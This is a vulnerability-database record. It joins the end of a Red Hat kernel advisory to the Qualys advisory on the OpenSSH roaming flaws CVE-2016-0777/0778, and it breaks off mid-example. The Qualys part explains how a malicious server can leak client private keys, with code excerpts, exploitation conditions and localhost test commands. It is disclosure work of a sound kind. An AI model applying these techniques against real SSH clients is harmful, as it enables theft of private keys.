(CVE-2017-18344)\n\n* kernel: mm: use-after-free in do_get_mempolicy function allows local DoS\nor other unspecified impact (CVE-2018-10675)\n\n* kernel: Integer overflow in Linux\u0027s create_elf_tables function\n(CVE-2018-14634)\n\nFor more details about the security issue(s), including the impact, a CVSS\nscore, and other related information, refer to the CVE page(s) listed in\nthe References section. \n\nRed Hat would like to thank Juha-Matti Tilli (Aalto University - Department\nof Communications and Networking and Nokia Bell Labs) for reporting\nCVE-2018-5391 and Qualys Research Labs for reporting CVE-2018-14634. \n\nBug Fix(es):\n\n* Previously, a kernel panic occurred when the kernel tried to make an out\nof bound access to the array that describes the L1 Terminal Fault (L1TF)\nmitigation state on systems without Extended Page Tables (EPT) support. \nThis update extends the array of mitigation states to cover all the states,\nwhich effectively prevents out of bound array access. Also, this update\nenables rejecting invalid, irrelevant values, that might be erroneously\nprovided by the userspace. As a result, the kernel no longer panics in the\ndescribed scenario. (BZ#1629565)\n\n* Previously, a packet was missing the User Datagram Protocol (UDP) payload\nchecksum during a full checksum computation, if the hardware checksum was\nnot applied. As a consequence, a packet with an incorrect checksum was\ndropped by a peer. With this update, the kernel includes the UDP payload\nchecksum during the full checksum computation. As a result, the checksum is\ncomputed correctly and the packet can be received by the peer. (BZ#1635792)\n\n* Previously, a transform lookup through the xfrm framework could be\nperformed on an already transformed destination cache entry (dst_entry). \nWhen using User Datagram Protocol (UDP) over IPv6 with a connected socket\nin conjunction with Internet Protocol Security (IPsec) in Encapsulating\nSecurity Payload (ESP) transport mode. As a consequence, invalid IPv6\nfragments transmitted from the host or the kernel occasionally terminated\nunexpectedly due to a socket buffer (SKB) underrun. With this update, the\nxfrm lookup on an already transformed dst_entry is not possible. As a\nresult, using UDP iperf utility over IPv6 ESP no longer causes invalid IPv6\nfragment transmissions or a kernel panic. (BZ#1639586)\n\n4. Solution:\n\nFor details on how to apply this update, which includes the changes\ndescribed in this advisory, refer to:\n\nhttps://access.redhat.com/articles/11258\n\nThe system must be rebooted for this update to take effect. \n\n5. Bugs fixed (https://bugzilla.redhat.com/):\n\n1575065 - CVE-2018-10675 kernel: mm: use-after-free in do_get_mempolicy function allows local DoS or other unspecified impact\n1609664 - CVE-2018-5391 kernel: IP fragments with random offsets allow a remote denial of service (FragmentSmack)\n1610958 - CVE-2017-18344 kernel: out-of-bounds access in the show_timer function in kernel/time/posix-timers.c\n1624498 - CVE-2018-14634 kernel: Integer overflow in Linux\u0027s create_elf_tables function\n\n6. Package List:\n\nRed Hat Enterprise Linux Server AUS (v. 7.2):\n\nSource:\nkernel-3.10.0-327.76.1.el7.src.rpm\n\nnoarch:\nkernel-abi-whitelists-3.10.0-327.76.1.el7.noarch.rpm\nkernel-doc-3.10.0-327.76.1.el7.noarch.rpm\n\nx86_64:\nkernel-3.10.0-327.76.1.el7.x86_64.rpm\nkernel-debug-3.10.0-327.76.1.el7.x86_64.rpm\nkernel-debug-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm\nkernel-debug-devel-3.10.0-327.76.1.el7.x86_64.rpm\nkernel-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm\nkernel-debuginfo-common-x86_64-3.10.0-327.76.1.el7.x86_64.rpm\nkernel-devel-3.10.0-327.76.1.el7.x86_64.rpm\nkernel-headers-3.10.0-327.76.1.el7.x86_64.rpm\nkernel-tools-3.10.0-327.76.1.el7.x86_64.rpm\nkernel-tools-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm\nkernel-tools-libs-3.10.0-327.76.1.el7.x86_64.rpm\nperf-3.10.0-327.76.1.el7.x86_64.rpm\nperf-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm\npython-perf-3.10.0-327.76.1.el7.x86_64.rpm\npython-perf-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm\n\nRed Hat Enterprise Linux Server E4S (v. 7.2):\n\nSource:\nkernel-3.10.0-327.76.1.el7.src.rpm\n\nnoarch:\nkernel-abi-whitelists-3.10.0-327.76.1.el7.noarch.rpm\nkernel-doc-3.10.0-327.76.1.el7.noarch.rpm\n\nx86_64:\nkernel-3.10.0-327.76.1.el7.x86_64.rpm\nkernel-debug-3.10.0-327.76.1.el7.x86_64.rpm\nkernel-debug-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm\nkernel-debug-devel-3.10.0-327.76.1.el7.x86_64.rpm\nkernel-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm\nkernel-debuginfo-common-x86_64-3.10.0-327.76.1.el7.x86_64.rpm\nkernel-devel-3.10.0-327.76.1.el7.x86_64.rpm\nkernel-headers-3.10.0-327.76.1.el7.x86_64.rpm\nkernel-tools-3.10.0-327.76.1.el7.x86_64.rpm\nkernel-tools-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm\nkernel-tools-libs-3.10.0-327.76.1.el7.x86_64.rpm\nperf-3.10.0-327.76.1.el7.x86_64.rpm\nperf-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm\npython-perf-3.10.0-327.76.1.el7.x86_64.rpm\npython-perf-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm\n\nRed Hat Enterprise Linux Server TUS (v. 7.2):\n\nSource:\nkernel-3.10.0-327.76.1.el7.src.rpm\n\nnoarch:\nkernel-abi-whitelists-3.10.0-327.76.1.el7.noarch.rpm\nkernel-doc-3.10.0-327.76.1.el7.noarch.rpm\n\nx86_64:\nkernel-3.10.0-327.76.1.el7.x86_64.rpm\nkernel-debug-3.10.0-327.76.1.el7.x86_64.rpm\nkernel-debug-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm\nkernel-debug-devel-3.10.0-327.76.1.el7.x86_64.rpm\nkernel-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm\nkernel-debuginfo-common-x86_64-3.10.0-327.76.1.el7.x86_64.rpm\nkernel-devel-3.10.0-327.76.1.el7.x86_64.rpm\nkernel-headers-3.10.0-327.76.1.el7.x86_64.rpm\nkernel-tools-3.10.0-327.76.1.el7.x86_64.rpm\nkernel-tools-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm\nkernel-tools-libs-3.10.0-327.76.1.el7.x86_64.rpm\nperf-3.10.0-327.76.1.el7.x86_64.rpm\nperf-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm\npython-perf-3.10.0-327.76.1.el7.x86_64.rpm\npython-perf-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm\n\nRed Hat Enterprise Linux Server Optional AUS (v. 7.2):\n\nx86_64:\nkernel-debug-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm\nkernel-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm\nkernel-debuginfo-common-x86_64-3.10.0-327.76.1.el7.x86_64.rpm\nkernel-tools-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm\nkernel-tools-libs-devel-3.10.0-327.76.1.el7.x86_64.rpm\nperf-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm\npython-perf-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm\n\nRed Hat Enterprise Linux Server Optional E4S (v. 7.2):\n\nx86_64:\nkernel-debug-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm\nkernel-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm\nkernel-debuginfo-common-x86_64-3.10.0-327.76.1.el7.x86_64.rpm\nkernel-tools-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm\nkernel-tools-libs-devel-3.10.0-327.76.1.el7.x86_64.rpm\nperf-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm\npython-perf-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm\n\nRed Hat Enterprise Linux Server Optional TUS (v. 7.2):\n\nx86_64:\nkernel-debug-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm\nkernel-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm\nkernel-debuginfo-common-x86_64-3.10.0-327.76.1.el7.x86_64.rpm\nkernel-tools-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm\nkernel-tools-libs-devel-3.10.0-327.76.1.el7.x86_64.rpm\nperf-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm\npython-perf-debuginfo-3.10.0-327.76.1.el7.x86_64.rpm\n\nThese packages are GPG signed by Red Hat for security.  Our key and\ndetails on how to verify the signature are available from\nhttps://access.redhat.com/security/team/key/\n\n7. References:\n\nhttps://access.redhat.com/security/cve/CVE-2017-18344\nhttps://access.redhat.com/security/cve/CVE-2018-5391\nhttps://access.redhat.com/security/cve/CVE-2018-10675\nhttps://access.redhat.com/security/cve/CVE-2018-14634\nhttps://access.redhat.com/security/updates/classification/#important\nhttps://access.redhat.com/articles/3553061\nhttps://access.redhat.com/security/vulnerabilities/mutagen-astronomy\n\n8. Contact:\n\nThe Red Hat security contact is \u003csecalert@redhat.com\u003e. More contact\ndetails at https://access.redhat.com/security/team/contact/\n\nCopyright 2018 Red Hat, Inc. \n-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIVAwUBW+sPDtzjgjWX9erEAQhm3BAAhxwzb8zJTfl0zFY/r9KUzkAdLXY4w39X\nBgJrVPyl7f6krvQ17HE95Poqz/iUhMOZAweypQXHMRKkmfMTYiLHlKpdIusou2xy\ny1ZzB1uloI4j2zMdTDRP5yZz06r/NP5A05pLZDA02iR5b07ALLYb5hcL5oBnpQXp\n9Xp31qb7TCP+jWtCO1Ot+9GJ3chMNvpYqH0OkGTpq/G7PxGrhIzB6v4p6N5OntD9\n5CIebREaGBWn9ViWiUHcthgg+PN2iS2/5ST82g/Jss/WmVVZSiVbayob6/MNQPnb\nM29VHOmJ6pf5dERNpSqrJrBXeDYCMA6HHD+RT9SmiuQQ8gQ2Rzjy7K97Nn++6x7O\nnclOTmB7hQZtl0WhgC3xuwtslXGpe9jKSzql03ijTvJRQrczgVWiBS+tpfVAJprV\nma2Kchf5ivctaXZ/R62JMyTvNf6HCVdvBNvSNET52ol3PkdpJK7V7mg+H64Mqdrl\ncBTUDBHHYYWMJted9pHWq7tPs0vy1h9aoFqNdlak5jwr169vldlZMRBbhtvz+OXj\nV/o+IClbY9UUfibaXDoX7qufeVikW1KQ4L+VhRj3RzXNsu2A8FUAcN7za5Qv5HIe\nLiC42C+pjvHqS/9gNpBakzKv6nPldWZIfPEuF4zewizBxlTXHPE1ln1hAWKjqVTs\n6QJ1Zh7jeUY=\n=8JOQ\n-----END PGP SIGNATURE-----\n\n--\nRHSA-announce mailing list\nRHSA-announce@redhat.com\nhttps://www.redhat.com/mailman/listinfo/rhsa-announce\n. \n\nBug Fix(es):\n\nThese updated kernel packages include also numerous bug fixes",
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var-201601-0030
Vulnerability from variot

The (1) roaming_read and (2) roaming_write functions in roaming_common.c in the client in OpenSSH 5.x, 6.x, and 7.x before 7.1p2, when certain proxy and forward options are enabled, do not properly maintain connection file descriptors, which allows remote servers to cause a denial of service (heap-based buffer overflow) or possibly have unspecified other impact by requesting many forwardings. OpenSSH client code versions 5.4 through 7.1p1 contains a client information leak vulnerability that could allow an OpenSSH client to leak information not limited to but including private keys, as well as a buffer overflow in certain non-default configurations. In addition, JVNVU#95595627 Then CWE-122 It is published as CWE-122: Heap-based Buffer Overflow http://cwe.mitre.org/data/definitions/122.htmlA large amount of transfer is requested by the remote server, resulting in a denial of service ( Heap-based buffer overflow ) It can be unspecified, such as being put into a state. OpenSSH is prone to a heap-based buffer-overflow vulnerability. Successful exploits may allow attackers to execute arbitrary code in the context of the affected application. Failed attacks will cause denial-of-service conditions. OpenSSH (OpenBSD Secure Shell) is a set of connection tools for securely accessing remote computers maintained by the OpenBSD project team. This tool is an open source implementation of the SSH protocol, supports encryption of all transmissions, and can effectively prevent eavesdropping, connection hijacking, and other network-level attacks. The following versions are affected: OpenSSH 5.x, 6.x, 7.x prior to 7.1p2. ============================================================================ Ubuntu Security Notice USN-2869-1 January 14, 2016

openssh vulnerabilities

A security issue affects these releases of Ubuntu and its derivatives:

  • Ubuntu 15.10
  • Ubuntu 15.04
  • Ubuntu 14.04 LTS
  • Ubuntu 12.04 LTS

Summary:

OpenSSH could be made to expose sensitive information over the network.

Update instructions:

The problem can be corrected by updating your system to the following package versions:

Ubuntu 15.10: openssh-client 1:6.9p1-2ubuntu0.1

Ubuntu 15.04: openssh-client 1:6.7p1-5ubuntu1.4

Ubuntu 14.04 LTS: openssh-client 1:6.6p1-2ubuntu2.4

Ubuntu 12.04 LTS: openssh-client 1:5.9p1-5ubuntu1.8

In general, a standard system update will make all the necessary changes. Qualys Security Advisory

Roaming through the OpenSSH client: CVE-2016-0777 and CVE-2016-0778

======================================================================== Contents ========================================================================

Summary Information Leak (CVE-2016-0777) - Analysis - Private Key Disclosure - Mitigating Factors - Examples Buffer Overflow (CVE-2016-0778) - Analysis - Mitigating Factors - File Descriptor Leak Acknowledgments Proof Of Concept

======================================================================== Summary ========================================================================

Since version 5.4 (released on March 8, 2010), the OpenSSH client supports an undocumented feature called roaming: if the connection to an SSH server breaks unexpectedly, and if the server supports roaming as well, the client is able to reconnect to the server and resume the suspended SSH session. This information leak may have already been exploited in the wild by sophisticated attackers, and high-profile sites or users may need to regenerate their SSH keys accordingly.

The buffer overflow, on the other hand, is present in the default configuration of the OpenSSH client but its exploitation requires two non-default options: a ProxyCommand, and either ForwardAgent (-A) or ForwardX11 (-X). This buffer overflow is therefore unlikely to have any real-world impact, but provides a particularly interesting case study.

All OpenSSH versions between 5.4 and 7.1 are vulnerable, but can be easily hot-fixed by setting the undocumented option "UseRoaming" to "no", as detailed in the Mitigating Factors section. OpenSSH version 7.1p2 (released on January 14, 2016) disables roaming by default.

======================================================================== Information Leak (CVE-2016-0777) ========================================================================


Analysis

If the OpenSSH client connects to an SSH server that offers the key exchange algorithm "resume@appgate.com", it sends the global request "roaming@appgate.com" to the server, after successful authentication. If this request is accepted, the client allocates a roaming buffer out_buf, by calling malloc() (and not calloc()) with an out_buf_size that is arbitrarily chosen by the server:

63 void 64 roaming_reply(int type, u_int32_t seq, void *ctxt) 65 { 66 if (type == SSH2_MSG_REQUEST_FAILURE) { 67 logit("Server denied roaming"); 68 return; 69 } 70 verbose("Roaming enabled"); .. 75 set_out_buffer_size(packet_get_int() + get_snd_buf_size()); .. 77 }

40 static size_t out_buf_size = 0; 41 static char out_buf = NULL; 42 static size_t out_start; 43 static size_t out_last; .. 75 void 76 set_out_buffer_size(size_t size) 77 { 78 if (size == 0 || size > MAX_ROAMBUF) 79 fatal("%s: bad buffer size %lu", func, (u_long)size); 80 / 81 * The buffer size can only be set once and the buffer will live 82 * as long as the session lives. 83 */ 84 if (out_buf == NULL) { 85 out_buf_size = size; 86 out_buf = xmalloc(size); 87 out_start = 0; 88 out_last = 0; 89 } 90 }

The OpenSSH client's roaming_write() function, a simple wrapper around write(), calls wait_for_roaming_reconnect() to transparently reconnect to the SSH server after a disconnection. It also calls buf_append() to copy the data sent to the server into the roaming buffer out_buf. During a reconnection, the client is therefore able to resend the data that was not received by the server because of the disconnection:

198 void 199 resend_bytes(int fd, u_int64_t offset) 200 { 201 size_t available, needed; 202 203 if (out_start < out_last) 204 available = out_last - out_start; 205 else 206 available = out_buf_size; 207 needed = write_bytes - offset; 208 debug3("resend_bytes: resend %lu bytes from %llu", 209 (unsigned long)needed, (unsigned long long)*offset); 210 if (needed > available) 211 fatal("Needed to resend more data than in the cache"); 212 if (out_last < needed) { 213 int chunkend = needed - out_last; 214 atomicio(vwrite, fd, out_buf + out_buf_size - chunkend, 215 chunkend); 216 atomicio(vwrite, fd, out_buf, out_last); 217 } else { 218 atomicio(vwrite, fd, out_buf + (out_last - needed), needed); 219 } 220 }

In the OpenSSH client's roaming buffer out_buf, the most recent data sent to the server begins at index out_start and ends at index out_last. As soon as this circular buffer is full, buf_append() maintains the invariant "out_start = out_last + 1", and consequently three different cases have to be considered:

  • "out_start < out_last" (lines 203-204): out_buf is not full yet (and out_start is still equal to 0), and the amount of data available in out_buf is indeed "out_last - out_start";

  • "out_start > out_last" (lines 205-206): out_buf is full (and out_start is exactly equal to "out_last + 1"), and the amount of data available in out_buf is indeed the entire out_buf_size;

  • "out_start == out_last" (lines 205-206): no data was ever written to out_buf (and both out_start and out_last are still equal to 0) because no data was ever sent to the server after roaming_reply() was called, but the client sends (leaks) the entire uninitialized out_buf to the server (line 214), as if out_buf_size bytes of data were available.

In order to successfully exploit this information leak and retrieve sensitive information from the OpenSSH client's memory (for example, private SSH keys, or memory addresses useful for further exploitation), a malicious server needs to:

  • Massage the client's heap before roaming_reply() malloc()ates out_buf, and force malloc() to return a previously free()d but uncleansed chunk of sensitive information. The simple proof-of-concept in this advisory does not implement heap massaging.

  • Guess the client's get_snd_buf_size() in order to precisely control out_buf_size. OpenSSH < 6.0 accepts out_buf sizes in the range (0,4G), and OpenSSH >= 6.0 accepts sizes in the range (0,2M]. Sizes smaller than get_snd_buf_size() are attainable because roaming_reply() does not protect "packet_get_int() + get_snd_buf_size()" against integer wraparound. The proof-of-concept in this advisory attempts to derive the client's get_snd_buf_size() from the get_recv_buf_size() sent by the client to the server, and simply chooses a random out_buf_size.

  • Advise the client's resend_bytes() that all "available" bytes (the entire out_buf_size) are "needed" by the server, even if fewer bytes were actually written by the client to the server (because the server controls the "offset" argument, and resend_bytes() does not protect "needed = write_bytes - offset" against integer wraparound).

Finally, a brief digression on a minor bug in resend_bytes(): on 64-bit systems, where "chunkend" is a 32-bit signed integer, but "out_buf" and "out_buf_size" are 64-bit variables, "out_buf + out_buf_size - chunkend" may point out-of-bounds, if chunkend is negative (if out_buf_size is in the [2G,4G) range). This negative chunkend is then converted to a 64-bit size_t greater than SSIZE_MAX when passed to atomicio(), and eventually returns EFAULT when passed to write() (at least on Linux and OpenBSD), thus avoiding an out-of-bounds read from the OpenSSH client's memory.


Private Key Disclosure

We initially believed that this information leak in the OpenSSH client's roaming code would not allow a malicious SSH server to steal the client's private keys, because:

  • the information leaked is not read from out-of-bounds memory, but from a previously free()d chunk of memory that is recycled to malloc()ate the client's roaming buffer out_buf;

  • private keys are loaded from disk into memory and freed by key_free() (old API, OpenSSH < 6.7) or sshkey_free() (new API, OpenSSH >= 6.7), and both functions properly cleanse the private keys' memory with OPENSSL_cleanse() or explicit_bzero();

  • temporary copies of in-memory private keys are freed by buffer_free() (old API) or sshbuf_free() (new API), and both functions attempt to cleanse these copies with memset() or bzero().

However, we eventually identified three reasons why, in our experiments, we were able to partially or completely retrieve the OpenSSH client's private keys through this information leak (depending on the client's version, compiler, operating system, heap layout, and private keys):

(besides these three reasons, other reasons may exist, as suggested by the CentOS and Fedora examples at the end of this section)

  1. If a private SSH key is loaded from disk into memory by fopen() (or fdopen()), fgets(), and fclose(), a partial or complete copy of this private key may remain uncleansed in memory. Indeed, these functions manage their own internal buffers, and whether these buffers are cleansed or not depends on the OpenSSH client's libc (stdio) implementation, but not on OpenSSH itself.

  2. In all vulnerable OpenSSH versions, SSH's main() function calls load_public_identity_files(), which loads the client's public keys with fopen(), fgets(), and fclose(). Unfortunately, the private keys (without the ".pub" suffix) are loaded first and then discarded, but nonetheless buffered in memory by the stdio functions.

  3. In OpenSSH versions <= 5.6, the load_identity_file() function (called by the client's public-key authentication method) loads a private key with fdopen() and PEM_read_PrivateKey(), an OpenSSL function that uses fgets() and hence internal stdio buffering.

Internal stdio buffering is the most severe of the three problems discussed in this section, although GNU/Linux is not affected because the glibc mmap()s and munmap()s (and therefore cleanses) stdio buffers. BSD-based systems, on the other hand, are severely affected because they simply malloc()ate and free() stdio buffers. For interesting comments on this issue:

https://www.securecoding.cert.org/confluence/display/c/MEM06-C.+Ensure+that+sensitive+data+is+not+written+out+to+disk

  1. In OpenSSH versions >= 5.9, the client's load_identity_file() function (called by the public-key authentication method) read()s a private key in 1024-byte chunks that are appended to a growing buffer (a realloc()ating buffer) with buffer_append() (old API) or sshbuf_put() (new API). Unfortunately, the repeated calls to realloc() may leave partial copies of the private key uncleansed in memory.

  2. In OpenSSH < 6.7 (old API), the initial size of such a growing buffer is 4096 bytes: if a private-key file is larger than 4K, a partial copy of this private key may remain uncleansed in memory (a 3K copy in a 4K buffer). Fortunately, only the file of a very large RSA key (for example, an 8192-bit RSA key) can exceed 4K.

  3. In OpenSSH >= 6.7 (new API), the initial size of a growing buffer is 256 bytes: if a private-key file is larger than 1K (the size passed to read()), a partial copy of this private key may remain uncleansed in memory (a 1K copy in a 1K buffer). For example, the file of a default-sized 2048-bit RSA key exceeds 1K.

For more information on this issue:

https://www.securecoding.cert.org/confluence/display/c/MEM03-C.+Clear+sensitive+information+stored+in+reusable+resources

https://cwe.mitre.org/data/definitions/244.html

  1. An OpenSSH growing-buffer that holds a private key is eventually freed by buffer_free() (old API) or sshbuf_free() (new API), and both functions attempt to cleanse the buffer with memset() or bzero() before they call free(). Unfortunately, an optimizing compiler may remove this memset() or bzero() call, because the buffer is written to, but never again read from (an optimization known as Dead Store Elimination).

OpenSSH 6.6 is the only version that is not affected, because it calls explicit_bzero() instead of memset() or bzero().

Dead Store Elimination is the least severe of the three problems explored in this section, because older GCC versions do not remove the memset() or bzero() call made by buffer_free() or sshbuf_free(). GCC 5 and Clang/LLVM do, however, remove it. For detailed discussions of this issue:

https://www.securecoding.cert.org/confluence/display/c/MSC06-C.+Beware+of+compiler+optimizations

https://cwe.mitre.org/data/definitions/14.html

https://sourceware.org/ml/libc-alpha/2014-12/threads.html#00506

Finally, for these three reasons, passphrase-encrypted SSH keys are leaked in their encrypted form, but an attacker may attempt to crack the passphrase offline. On the other hand, SSH keys that are available only through an authentication agent are never leaked, in any form. The vulnerable roaming code can be permanently disabled by adding the undocumented option "UseRoaming no" to the system-wide configuration file (usually /etc/ssh/ssh_config), or per-user configuration file (~/.ssh/config), or command-line (-o "UseRoaming no").

  1. If an OpenSSH client is disconnected from an SSH server that offers roaming, it prints "[connection suspended, press return to resume]" on stderr, and waits for '\n' or '\r' on stdin (and not on the controlling terminal) before it reconnects to the server; advanced users may become suspicious and press Control-C or Control-Z instead, thus avoiding the information leak:

"pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /dev/null -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -p 222 127.0.0.1 [connection suspended, press return to resume]^Z [1]+ Stopped /usr/bin/ssh -p 222 127.0.0.1

However, SSH commands that use the local stdin to transfer data to the remote server are bound to trigger this reconnection automatically (upon reading a '\n' or '\r' from stdin). Moreover, these non-interactive SSH commands (for example, backup scripts and cron jobs) commonly employ public-key authentication and are therefore perfect targets for this information leak:

$ ls -l /etc/passwd | /usr/bin/ssh -p 222 127.0.0.1 "cat > /tmp/passwd.ls" [connection suspended, press return to resume][connection resumed] [connection suspended, press return to resume][exiting]

$ tar -cf - /etc/passwd | /usr/bin/ssh -p 222 127.0.0.1 "cat > /tmp/passwd.tar" tar: Removing leading `/' from member names [connection suspended, press return to resume][connection resumed] [connection suspended, press return to resume][connection resumed] [connection suspended, press return to resume][connection resumed] ... [connection suspended, press return to resume][connection resumed] [connection suspended, press return to resume][connection resumed] [connection suspended, press return to resume][connection resumed] [connection suspended, press return to resume][exiting]

Similarly, the SCP client uses the SSH client's stdin and stdout to transfer data, and can be forced by a malicious SSH server to output a control record that ends in '\n' (an error message in server-to-client mode, or file permissions in client-to-server mode); this '\n' is then read from stdin by the fgetc() call in wait_for_roaming_reconnect(), and triggers an automatic reconnection that allows the information leak to be exploited without user interaction:

env ROAMING="scp_mode sleep:1" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /dev/null -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/scp -P 222 127.0.0.1:/etc/passwd /tmp $ [connection suspended, press return to resume][connection resumed] [connection suspended, press return to resume][exiting]

$ /usr/bin/scp -P 222 /etc/passwd 127.0.0.1:/tmp [connection suspended, press return to resume][connection resumed] [connection suspended, press return to resume][exiting] lost connection

  1. Although a man-in-the-middle attacker can reset the TCP connection between an OpenSSH client and an OpenSSH server (which does not support roaming), it cannot exploit the information leak without breaking server host authentication or integrity protection, because it needs to:

  2. first, append the "resume@appgate.com" algorithm name to the server's initial key exchange message;

  3. second, in response to the client's "roaming@appgate.com" request, change the server's reply from failure to success.

In conclusion, an attacker who wishes to exploit this information leak must convince its target OpenSSH client to connect to a malicious server (an unlikely scenario), or compromise a trusted server (a more likely scenario, for a determined attacker).

  1. In the client, wait_for_roaming_reconnect() calls ssh_connect(), the same function that successfully established the first connection to the server; this function supports four different connection methods, but each method contains a bug and may fail to establish a second connection to the server:

  2. In OpenSSH >= 6.5 (released on January 30, 2014), the default ssh_connect_direct() method (a simple TCP connection) is called by wait_for_roaming_reconnect() with a NULL aitop argument, which makes it impossible for the client to reconnect to the server:

418 static int 419 ssh_connect_direct(const char host, struct addrinfo aitop, ... 424 int sock = -1, attempt; 425 char ntop[NI_MAXHOST], strport[NI_MAXSERV]; ... 430 for (attempt = 0; attempt < connection_attempts; attempt++) { ... 440 for (ai = aitop; ai; ai = ai->ai_next) { ... 470 } 471 if (sock != -1) 472 break; / Successful connection. / 473 } 474 475 / Return failure if we didn't get a successful connection. / 476 if (sock == -1) { 477 error("ssh: connect to host %s port %s: %s", 478 host, strport, strerror(errno)); 479 return (-1); 480 }

Incidentally, this error() call displays stack memory from the uninitialized strport[] array, a byproduct of the NULL aitop:

$ /usr/bin/ssh -V OpenSSH_6.8, LibreSSL 2.1

$ /usr/bin/ssh -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume]ssh: connect to host 127.0.0.1 port \300\350\226\373\341: Bad file descriptor [reconnect failed, press return to retry]ssh: connect to host 127.0.0.1 port \300\350\226\373\341: Bad file descriptor [reconnect failed, press return to retry]ssh: connect to host 127.0.0.1 port \300\350\226\373\341: Bad file descriptor [reconnect failed, press return to retry]ssh: connect to host 127.0.0.1 port \300\350\226\373\341: Bad file descriptor

  • The special ProxyCommand "-" communicates with the server through the client's stdin and stdout, but these file descriptors are close()d by packet_backup_state() at the beginning of wait_for_roaming_reconnect() and are never reopened again, making it impossible for the client to reconnect to the server. Moreover, the fgetc() that waits for '\n' or '\r' on the closed stdin returns EOF and forces the client to exit():

$ /usr/bin/ssh -V OpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013

$ /usr/bin/nc -e "/usr/bin/ssh -o ProxyCommand=- -p 222 127.0.0.1" 127.0.0.1 222 Pseudo-terminal will not be allocated because stdin is not a terminal. user@127.0.0.1's password: [connection suspended, press return to resume][exiting]

  • The method ssh_proxy_fdpass_connect() fork()s a ProxyCommand that passes a connected file descriptor back to the client, but it calls fatal() while reconnecting to the server, because waitpid() returns ECHILD; indeed, the SIGCHLD handler (installed by SSH's main() after the first successful connection to the server) calls waitpid() before ssh_proxy_fdpass_connect() does:

1782 static void 1783 main_sigchld_handler(int sig) 1784 { .... 1789 while ((pid = waitpid(-1, &status, WNOHANG)) > 0 || 1790 (pid < 0 && errno == EINTR)) 1791 ; 1792 1793 signal(sig, main_sigchld_handler); .... 1795 }

101 static int 102 ssh_proxy_fdpass_connect(const char host, u_short port, 103 const char proxy_command) 104 { ... 121 / Fork and execute the proxy command. / 122 if ((pid = fork()) == 0) { ... 157 } 158 / Parent. / ... 167 while (waitpid(pid, NULL, 0) == -1) 168 if (errno != EINTR) 169 fatal("Couldn't wait for child: %s", strerror(errno));

$ /usr/bin/ssh -V OpenSSH_6.6.1p1, OpenSSL 1.0.1p-freebsd 9 Jul 2015

$ /usr/bin/ssh -o ProxyUseFdpass=yes -o ProxyCommand="/usr/bin/nc -F %h %p" -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume]Couldn't wait for child: No child processes

  • The method ssh_proxy_connect() fork()s a standard ProxyCommand that connects the client to the server, but if a disconnection occurs, and the SIGCHLD of the terminated ProxyCommand is caught while fgetc() is waiting for a '\n' or '\r' on stdin, EOF is returned (the underlying read() returns EINTR) and the client exit()s before it can reconnect to the server:

$ /usr/bin/ssh -V OpenSSH_6.6.1p1 Ubuntu-2ubuntu2, OpenSSL 1.0.1f 6 Jan 2014

$ /usr/bin/ssh -o ProxyCommand="/bin/nc %h %p" -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume][exiting]

This behavior is intriguing, because (at least on Linux and BSD) the signal() call that installed the main_sigchld_handler() is supposed to be equivalent to a sigaction() call with SA_RESTART. However, portable versions of OpenSSH override signal() with mysignal(), a function that calls sigaction() without SA_RESTART.

This last mitigating factor is actually a race-condition bug that depends on the ProxyCommand itself: for example, the client never fails to reconnect to the server when using Socat as a ProxyCommand, but fails occasionally when using Netcat.


Private Key Disclosure example: FreeBSD 10.0, 2048-bit RSA key

$ head -n 1 /etc/motd FreeBSD 10.0-RELEASE (GENERIC) #0 r260789: Thu Jan 16 22:34:59 UTC 2014

$ /usr/bin/ssh -V OpenSSH_6.4p1, OpenSSL 1.0.1e-freebsd 11 Feb 2013

